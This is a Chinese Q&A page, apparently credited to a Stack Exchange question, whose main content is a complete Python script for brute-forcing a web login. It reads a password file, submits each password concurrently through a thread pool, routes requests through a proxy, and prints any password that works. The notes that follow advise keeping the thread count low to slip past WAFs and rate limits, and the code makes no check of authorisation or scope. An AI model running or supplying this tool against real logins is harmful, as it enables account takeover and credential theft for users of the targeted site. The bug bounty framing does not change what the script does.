You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何为Bug Bounty场景下的Python登录暴力破解代码添加线程实现多请求

为Web登录暴力破解工具添加多线程并发支持

原代码修复+多线程改造

先修正原代码里的几个问题:

  • 补充未定义的用户名和代理变量
  • 修复循环内params的缩进错误
  • 补充登录成功的判断逻辑(暴力破解工具核心需求)

使用concurrent.futures.ThreadPoolExecutor实现多请求并发,这个模块上手简单,能灵活控制线程数量,避免触发目标服务器的防护机制。

修改后的完整代码

import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed

# 可配置参数
TARGET_URL = "https://www.target.com/test"
USERNAME = "你的测试用户名"  # 替换为实际用户名
PASSWORD_FILE = "password.txt"
THREAD_COUNT = 5  # 线程数,建议5-10,根据目标防护强度调整
PROXIES = {  # 不需要代理可删除此变量,请求时去掉proxies参数
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

headers = {
    'Host': 'TARGET.COM',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'iframe',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1'
}

params = {
    'execution': '111u9342',
    'client_id': 'client-23429df',
    'tab_id': '234324',
}

def test_single_password(password):
    """测试单个密码的登录有效性"""
    password = password.strip()
    if not password:
        return
    
    try:
        response = requests.post(
            TARGET_URL,
            params=params,
            headers=headers,
            data={'username': USERNAME, 'password': password},
            verify=False,
            proxies=PROXIES  # 无代理则删除此行
        )
        # **************************
        # 需根据目标网站实际响应修改判断逻辑
        # 示例:检查响应是否包含"登录成功"或不含"密码错误"关键词
        if "登录成功" in response.text or not "密码错误" in response.text:
            print(f"[+] 找到有效密码: {password}")
            exit()  # 找到密码后直接退出,也可注释此行继续测试所有密码
        else:
            print(f"[-] 密码无效: {password}")
    except Exception as e:
        print(f"[!] 请求失败: {password} - {str(e)}")

def main():
    # 读取密码列表
    with open(PASSWORD_FILE, 'r', encoding='utf-8') as f:
        passwords = f.readlines()
    
    # 启动线程池并发执行
    with ThreadPoolExecutor(max_workers=THREAD_COUNT) as executor:
        # 提交所有密码测试任务
        task_list = [executor.submit(test_single_password, pwd) for pwd in passwords]
        
        # 等待所有任务完成,捕获可能的异常
        for task in as_completed(task_list):
            try:
                task.result()
            except Exception as e:
                print(f"[!] 任务执行出错: {str(e)}")
    
    print("finished")

if __name__ == "__main__":
    main()

核心注意点

  • 线程数控制:不要设置过高,否则容易触发目标网站的WAF或速率限制,反而降低破解效率
  • 登录判断逻辑:必须根据目标网站的实际响应特征调整,比如有的网站失败会返回"Invalid credentials",成功会跳转主页或包含特定字符串
  • 异常处理:捕获请求异常,避免单个请求失败导致整个程序崩溃
  • 资源安全:用with语句读取文件,避免资源泄漏

内容的提问来源于stack exchange,提问作者jlison fernandes

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.09 00:01:08